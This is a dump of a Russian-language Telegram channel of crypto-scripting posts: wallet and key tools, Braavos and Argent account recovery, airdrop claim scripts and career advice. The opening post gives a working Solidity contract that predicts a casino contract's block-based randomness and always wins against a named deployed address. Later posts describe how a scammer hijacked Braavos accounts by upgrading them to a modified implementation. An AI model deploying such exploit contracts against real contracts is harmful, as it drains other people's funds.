Разнорабочий | Заметки – Telegram
Разнорабочий | Заметки
5.23K subscribers
30 photos
3 videos
55 links
Публикую статьи, мысли, скрипты

Связанный чат канала: https://news.1rj.ru/str/raznorabochiy_chat
Download Telegram
Угадываем «случайное число»

Пост про казино набрал 100 реакций, это рекорд для моего канала, спасибо!
Как и обещал, рассказываю решение.

Смотрим текст контракта

Нас интересует функция randomChoice:

function randomChoice() private view returns (uint) {
return uint(Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1));
}


видим, что она зависит от номера блока block.number и времени создания блока block.timestamp

Для того, чтобы контролировать эти значения, есть один трюк, нужно вызвать метод play не напрямую, а из другого контракта, получится, что в этом контракте-обёртке при вызове всё будет происходить в том же самом блоке и мы точно будем знать номер блока и время блока и можем предугадать «случайное число» в вызываемом контракте.

Вот код этого контракта:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// интерфейс контракта казино
interface PSC {
function play(uint _choice, uint _bet) external payable;
}

contract Winner {
address owner;
enum Choice { None, Rock, Paper, Scissors }

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}

function play() public payable {
// адрес контракта казино
PSC casino = PSC(0xdc1F526FFaC607d9680A0d1290baCe2b539d82Ab);

// копируем алгоритм получения числа из контракта казино, именно это число казино сгенерирует, так как код выполнится в том же блоке
Choice casinoChoice = Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1);
uint choice = 0;

// тут вычисляем решение, которое перебьёт выбор казино
if (casinoChoice == Choice.Rock) {
choice = uint(Choice.Paper);
} else if (casinoChoice == Choice.Paper) {
choice = uint(Choice.Scissors);
} else if (casinoChoice == Choice.Scissors) {
choice = uint(Choice.Rock);
}

// вызываем контракт казино и передаём туда выигрышное значение
casino.play{ value: 1000000000000000 }(choice, 1000000000000000);
}

// не забываем функцию вывода денег из нашего контракта
function withdraw(uint amount) public onlyOwner {
require(address(this).balance >= amount, "Insufficient balance for withdrawal");
payable(owner).transfer(amount);
}

receive() external payable {
}
}



Теперь задеплоив этот контракт, например через Remix IDE, можно вызывать метод play у контракта Winner, которы вызовет метод play у контракта казино и выиграет.

Откуда я узнал про этот трюк?

Есть несколько CTF по безопасности смарт-контрактов, я их проходил некоторое время назад:

* https://capturetheether.com/ — к сожалению пройти сейчас уже нельзя, так как все задания проводились в тестовой сети Ropsten, которая сейчас не работает, но можно почитать задания и найти решения квестов

* https://ethernaut.openzeppelin.com/ — это работает
👍36
Хард скилы, завод 1/2

Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам.
Не смотря на то, что в ближайшей перспективе маячат крупные дропы, затяжная медвежка наводит на мысли о том, что неплохо было бы иметь навыки для булрана или возможность в любой момент устроиться на завод.

Немного расскажу про свой случай, я не фултайм в крипте, регуляный доход я получаю на заводе, все активности в крипте я делаю параллельно, у меня 2 раза были мысли бросить завод, когда я зарабатывал в крипте крупные суммы, но всегда за ними следовал обвал рынка 😁
Конкретно мой случай с заводом меня устраивает тем, что я могу работать из дома и многие задачи я делаю на автомате, что не отнимает у меня много ментальных сил.

По поводу хард скилов. Тут нужно определиться, в какой из областей вы хотите развиваться. Программирование, как самое первое, что приходит на ум, не всем подходит. Чтобы развиваться в этой сфере, оно должно нравиться и доставлять удовольствие. Иначе вы просто не сможете найти мотивацию для дальнейшего обучения.

Есть другие области в it, которые могут больше подойти, например аналитик (если нравится анализировать данные, копаться в транзакциях, находить закономерности), сисадмин/девопс (если нравится ставить ноды)

У Яндекса есть бесплатный курс «Старт в IT» https://practicum.yandex.ru/start-in-it/ который может быть не бесполезным и поможет сориентироваться.

продолжение в следующем посте
👍182👎1😁1
Хард скилы, завод 2/2

Возвращаясь к программированию. Если решили заняться именно им, то на старте выбор не большой: JavaScript (TypeScript) или Python

Плюсы js: проще реверс-инженирить бандл сайта, если нужно понять формирования какой-нибудь хитрой подписи, которая является аргументом в вызове смарт-контракта. Весь фронтенд сайтов делается только на js. Несколько очень хороших библиотек для работы с EVM: Web3.js, Ethers, Viem
Минусы js: Язык местами очень странный

Плюсы python: огромное количество полезных библиотек, по настоящему универсальный язык, который используют во всех областях и в больших данных и в машинном обучении и в статистике
Минусы python: не все блокчейны выпускают на старте библиотеки для работы с ними на python, чаще выпускают библиотеку для взаимодействия на js

С чего начать обучение

Первое, это учебные материалы — база. Для js это https://learn.javanoscript.ru Больше в принципе ничего и не нужно, если не собираетесь писать что-то для браузера, можно скипнуть раздел про DOM.

Для питон знакомые рекомендуют https://www.codecademy.com/catalog/language/python

Второе, иметь перед глазами примеры кода для подражания, это должны быть очень хорошие скрипты. Сейчас на рынке огромное число бесплатных публичных скриптов, но проблема в том, что написаны они не очень хорошо. Среди десятков авторов, которых я смотрел, и у которых действительно очень хороший стиль, достойных для подражания не много:

Python
https://github.com/czbag — эталонный код, всё понятно, аккуратно, структурировано, декораторы к месту, ООП уместно использовано, там где оно нужно

JS/TS:
https://github.com/munris-vlad/base
https://github.com/humansimulacrum/aptos-simulator


Пост будет дополняться хорошими авторами и учебными материалами.
👍51🔥146
Как узнать адрес старкнет аккаунта зная его приватник?

После написания статей про смену приватников Starknet Argent X и Aptos ко мне начали обращаться люди, у которых взломали компы. Часто в таких случаях получается поменять приватник и сохранить аккаунты у владельцев.

С тех пор я нашёл способ также защитить Braavos аккаунт, но об этом скоро будет отдельная статья.

Я столкнулся с такой проблемой, есть приватник Braavos, пытаюсь вывести из приватника его адрес скриптом, стандартным способом, как это делают большинство паблик скриптов для старкнета и получаю не задеплоенный адрес с нулевым балансом. Хозяин приватника говорит, «но у меня другой адрес, вот он и на нём есть несколько десятков транзакций и разные токены на балансе», аккаунт старый, создан в первой половине 2022 года.

То есть, как и Argent X, Braavos менял способ выведения адресов.

Распаковал код расширения Braavos и начал смотреть, есть ли какие-нибудь намёки на альтернативные способы выведения адресов.

Нашёл ссылку на очень полезный сервис для внутреннего использования Бравоса.

Этому сервису можно отдать публичный ключ, а он покажет адрес, который связан с этим ключом.
Причём это будет работать, как для аккаунтов Бравоса, так и для аккаунтов Аргента, даже если этим аккаунтам поменяли приватник!

https://recovery.braavos.app/pubkey-to-address/?network=mainnet-alpha&pubkey=0x062a5dc0817dfc150882ca787b17d5675845e558c3954949d45fe62c7cca5eb9

Напомню, что публичный ключ, выводится из приватника всегда одним и тем же способом, в отличии от адреса, а вот получения адреса эта логика у всех типов аккаунтов отличается.

Вот так можно получить публичный ключ из приватного на python:


from starknet_py.net.signer.stark_curve_signer import KeyPair

key_pair = KeyPair.from_private_key("0xPRIVATE_KEY")
print(hex(key_pair.public_key))


или на js:


import { ec } from "starknet";

const publicKey = ec.starkCurve.getStarkKey("0xPRIVATE_KEY");
console.log("0x" + BigInt(publicKey).toString(16).padStart(64, "0"));



Как Бравос смогли сделать такой сервис, откуда они берут данные? Собрали из блокчейна! Если взять все адреса старкнета и пытаться вызвать у них методы getPublicKey, get_owner, getSigner то можно собрать такую базу и по ней искать в обратном порядке.
👍35
Критерии, которых не было на сайте, но нашёл в js-бандле

Это чуть более подробная расшифровка про StarkEx

В комент к этому посту приложу js-бандл, если кто-то хочет ещё поискать полезную инфу, адреса контрактов и т.д.
🔥39👍42
Как поменять приватник в Braavos

Продолжаем изучать невероятные возможности абстракции аккаунтов в Старкнете.

Статья о новых способах защиты и скама аккаунтов Braavos.

По ссылке технические детали и небольшое расследование угона аккаунтов.

Плез, если будите шарить пост, шарьте пост в телеге, а не ссылку на телеграф, очень хочу набрать 1000 сабов к новому году 🤩

https://telegra.ph/Kak-pomenyat-privatnik-v-Braavos-12-02
🔥48👍4
Итак, вы поменяли приватник в аккаунтах Argent X, что теперь с ними делать?

В браузерном кошельке аккаунт больше не работает.

Можно работать софтом, но как? Ни один открытый софт с ходу не работает с такими акичами.

Так как меня несколько человек спрашивали про это, решил написать пост.
Сейчас я вам расскажу, как сделать минимальные правки в софте от czbag - https://github.com/czbag/starknet чтобы можно было использовать такие аккаунты.

В корне проекта создаём файл argent.py вот с таким содержанием

ARGENT = {
"0xНОВЫЙ_ПРИВАТНИК1": "0xАДРЕС1",
"0xНОВЫЙ_ПРИВАТНИК2": "0xАДРЕС2",
"0xНОВЫЙ_ПРИВАТНИК3": "0xАДРЕС3",
}

здесь перечисляем все ваши пары приватник-адрес.

В файле modules/starknet.py подключаем модуль argent и меняем метод _get_argent_address вот так, лишние строки закомментированы:

from argent import ARGENT

#...

def _get_argent_address(self) -> int:
address = ARGENT[self.private_key]
return int(address, 16)

# if CAIRO_VERSION == 0:
# selector = get_selector_from_name("initialize")
#
# calldata = [self.key_pair.public_key, 0]
#
# address = compute_address(
# class_hash=ARGENTX_PROXY_CLASS_HASH,
# constructor_calldata=[ARGENTX_IMPLEMENTATION_CLASS_HASH, selector, len(calldata), *calldata],
# salt=self.key_pair.public_key,
# )
# print(address, type(address))
# return address
# else:
# address = compute_address(
# class_hash=ARGENTX_IMPLEMENTATION_CLASS_HASH_NEW,
# constructor_calldata=[self.key_pair.public_key, 0],
# salt=self.key_pair.public_key,
# )
# print(address, type(address))
# return address


Всё, теперь адреса не выводятся из приватника, а берутся из словаря.

Я надеюсь czbag добавит с свой прекрасный софт клейм SТRK, когда придёт время. Если не добавит, найдём другой способ и я расскажу вам о нём.
👍362🔥2
Лёгкий способ поменять приватник на аккаунте Braavos

В предыдущей статье про Бравос я рассказывал про случай, как скамер развёртывал собственный модифицированный контракт Бравоса и менял приватник функцией setPublicKey.

Давайте ещё раз посмотрим на скриншот.

DECLARE – это деплой контракта, upgrade – обновление кошелька на этот контракт, setPublicKey – смена приватника.

Звучит сложно, нужно скачать код контракта, пропатчить его, задеплоить. Но на самом деле, аккаунты Бравоса работают используя паттерн прокси, то есть деплоится имплементация контракта один раз, а дальше все аккаунты ссылаются на эту имплементацию. То есть мы можем взять адрес задеплоенного скаммером контракта из угнанного аккаунта Ильдара – 0x02b0d2bf21052d789f9dc24aa401f8360ccc6971be8149851a36ec53554bcdbe
и просто передать этот адрес в вызов upgrade(0x02b0d2bf21052d789f9dc24aa401f8360ccc6971be8149851a36ec53554bcdbe), а дальше вызвать setPublicKey

получится всего 2 транзакции для смены приватника. Кроме этого я бы добавил ещё один upgrade(0x05dec330eebf36c8672b60db4a718d44762d3ae6d1333e553197acb47ee5a062) – это возвращаем оригинальную имплементацию Браавос версии 000.000.011, потому что мы точно не знаем что именно ещё дописал в контракт скамер и может быть там есть бекдор, маловероятно, но возможно.

Единственный минус в этом решении, это то, что аккаунты по сути связываются так как все ссылаются на имплементацию скамера, скорее всего именно по этой причине он деплоит новый контракт для каждого угнанного аккаунта. Но если снепшот уже был, это не проблема. В следующей статье я всё таки выложу код для добавления Hardware Signer'а, это более безопасный метод.

Вот пример моего тестового аккаунта, где я поменял приватник: https://voyager.online/contract/0x01f752facbf0b8a4577bb45436fa396423bf972b5dbfef57fef9e20a9f554498

Ссылка на репозиторий с кодом: https://github.com/raznorabochiy/braavos-set-public-key
👍19
Как добавить Hardware Signer скриптом в Braavos

В предыдущей статье я немного описал теоретическую часть.

А в этом посте решил выложить код для всех этих операций — https://github.com/raznorabochiy/braavos-hardware-signer

generate_secp256r1_key.py — скрипт для генерации приватника secp256r1

add_signer.py — добавляет HW Signer в аккаунт Braavos, стандартный приватник перестаёт работать

check_signature.py — проверяет, может ли ваш аккаунт подписывать транзы стандартным приватником

check_secp256r1_signature.py — проверяет, может ли ваш аккаунт подписывать транзы HW Signer-приватником

remove_signer.py — удаляет HW Signer, делает подпись HW Signer’ом, не нужно ждать 4 дня, старый приватник опять начинает работать

remove_signer_with_etd.py — удаляет HW Signer используя старый приватник, нужно ждать 4 дня чтобы старый приватник снова начал работать

cancel_deferred_remove_signer_req.py — отменяет удаление HW Signer, нужно подписывать HW Signer’ом

get_deferred_remove_signer_req.py — проверяет, пытается ли кто-то сбросить HW Signer при помощи старого приватника и если это так дату до которой можно отменить это действие скриптом cancel_deferred_remove_signer_req

Сгенерированный generate_secp256r1_key приватник нужно положить в файл secp256r1-key.txt

Оригинальный приватник нужно положить в файл private-key.txt

В файл addresses.txt кладём адреса для скрипта get_deferred_remove_signer_req

Если вы добавили HW Signer, то все последующие транзакции должны быть подписаны им, как это делается можно посмотреть в скрипте cancel_deferred_remove_signer_req.py, используется класс Secp256rSigner из signer.py
18👍4
Сегодня послушал подкаст Вишни про FACKBLOCK, как же круто Вишня всё смонтировал, я конечно человек предвзятый, но мне зашёл монтаж и формат шоу с его фирменными рофлами (кринж реклама, это отдельный вид искусства)

Было интересно послушать парней и себя со стороны (это мой первый опыт в формате интервью)

Рекомендую, на мой вкус Вишня очень высоко задрал планку крипто-подкастов.

https://www.youtube.com/watch?v=rHd6jFH9Ujg
56🤡6👍4💩1
Инскрипции для Layer2-20

По просьбе парней из 9KDAO написал минтилку инскрипций https://www.layer220.io/ это экосистемный проект Orbiter и за эту активность дают поинты.

Если кто-то не делал и хочет заскочить в последний вагон: https://github.com/raznorabochiy/layer220

в настройках поменяйте, в какой сети будете минтить и в какую сеть адресована инскрипция


export const FROM_NETWORK: Network = Network.Arbitrum;
export const TO_NETWORK: Network = Network.Optimism;


Цена минта примерно 50 центов.
👍29
После выхода Starknet, ко мне обратилось несколько человек с просьбой помочь склеймить дроп и я успешно помог это сделать. Так что если у вас есть например сид фраза от вашего (что принципиально) старого кошелька, которую вы вводите в свежий аргент или бравос, а он не может найти ваш старый адрес или вы поставили 2фа на скомпрометированные аккаунты, но потеряли доступ к почтам. Со всеми такими и другими кейсами я могу помочь. Единственный принципиальный момент, не пишите мне, если это аккаунты не ваши, во многих случаях я могу это распознать и сразу прекращу диалог.

Пишите @raznorabochiy прикладывая адрес аккаунта.
👍297🔥4
Dencun: Community Edition

Минтилка для ваших аккаунтов Linea.

Чтобы сминтить, необходимо иметь на кошельке одну из этих NFT: The Merge Regenesis, Ethereum Evolved Shanghai или The Linea Voyage.

Осталось чуть больше 2х дней

https://github.com/raznorabochiy/dencun-community-edition
10
Чекер для полихедры


import requests
from web3 import Web3

with open("wallets.txt", "r") as file:
wallets = [row.strip() for row in file]


def check(address: str) -> float:
addr = Web3.to_checksum_address(address)
addr_prefix = addr.lower()[2:5]
# для Ethereum
url = f"https://pub-88646eee386a4ddb840cfb05e7a8d8a5.r2.dev/eth_data/{addr_prefix}.json"

# для BSC
# url = f"https://pub-88646eee386a4ddb840cfb05e7a8d8a5.r2.dev/bsc_data/{addr_prefix}.json"
resp = requests.get(url)

try:
json = resp.json()
if json is None:
return 0
else:
return int(json[addr]['amount'], 16) / 10 ** 18
except:
return 0


total = 0

for wallet in wallets:
tokens = check(wallet)
print(f"{wallet}: {tokens}")
total += tokens

print(f"Total: {total}")


UPD: исправил, чтобы адреса без чексуммы тоже корректно проверялись
👍225
Скорее всего это контракт для клейма полихедры

0x9234f83473c03be04358afc3497d6293b2203288
14👍2
Media is too big
VIEW IN TELEGRAM
Самый быстрый чекер

нативных балансов и балансов ERC-20 токенов

Сети:
* Arbitrum
* Arbitrum Nova
* Base
* Berachain Testnet
* Blast
* BNB
* Ethereum
* Fantom
* Linea
* Optimism
* Polygon
* Scroll
* zkSync
* Zora

остальные soon

Контракты токенов легко добавляются самостоятельно

Не нужны никакие прокси или API-ключи!

https://github.com/raznorabochiy/evm-checker

Не забудьте поставить звезду на гитхабе
80👏9👍5🔥3🤡2
Мощное обновление wallets-tools

Всё переписал, изменился инетерфейс, теперь ничего не нужно писать в консоле, просто запускаешь и выбираешь необходимое действие.

Скрипт может:

* Сгенерировать новые сид-фразы
* Вычислить приватники из сид-фраз
* Вычислить адреса из сид-фраз
* Вычислить адреса из приватников

Поддерживаемые сети:

* Aleo
* Aptos
* Cosmos (много разных сетей, смотри ниже)
* EVM
* Solana
* StarkNet (ArgentX, Braavos)
* Sui

Поддерживаемые Cosmos-сети:

* Agoric
* Akash
* Axelar
* Bostrom
* Celestia
* Chihuahua
* Cosmos Hub
* Cronos POS
* dYdX
* Dymension
* Evmos
* Gitopia
* Gravity Bridge
* Injective
* IRISnet
* Juno
* Kava
* KYVE
* LikeCoin
* Mars Hub
* Neutron
* Noble
* OmniFlix
* Osmosis
* Passage
* Persistence
* Quasar
* Quicksilver
* Regen
* Saga
* Secret Network
* SEDA
* Sentinel
* Shentu
* Sifchain
* Sommelier
* Stargaze
* Stride
* Terra
* Terra Classic
* UX (umee)


https://github.com/raznorabochiy/wallets-tools
👍48🔥166😁2💩1🤡1
This media is not supported in your browser
VIEW IN TELEGRAM
Base Builder Anniversary NFT

Примерно год назад я писал скрипт для приватки Факблока, этот скрипт деплоил контракт в сети Base Goerli и минтил Base Builder NFT.
Теперь владельцы той NFT могут сминтить другую NFT уже в основной сети Base.

https://www.base.org/builder-anniversary-nft

Я написал для этого скрипт, внимательно читаем описание на гитхабе, желательно использовать прокси, так как пруф запрашивается с сайта.

https://github.com/raznorabochiy/base-builder-anniversary
👍164
Bundled ABI

Те, кто пишет скрипты, сталкивались с ситуацией, когда ABI не получается достать никаким иным способом, кроме как найти в коде сайта.

В таких случаях ABI-код изуродован js-бандлером и это не валидный JSON, а оптимизированный объект-литерал у которого булевые значения true и false заменены на !0 и !1, а ключи объекта без кавычек. Пример можно увидеть на картинке у этого поста.

Мне надоело делать лишние движения, чтобы чистить такой ABI-код, сделал инструмент:

https://bundled-abi.surge.sh/

Кроме приведения ABI к валидному JSON, он ещё умеет Human-Readable ABI который можно использовать в библиотеке ethers.
👍49🔥3
Софт для клейма Renzo

Если вы мультили Renzo на нищей тяге через pendle в Arbitrum, то самое время заклеймить на низком газе свои жетоны REZ

https://github.com/raznorabochiy/renzo-claim
👍10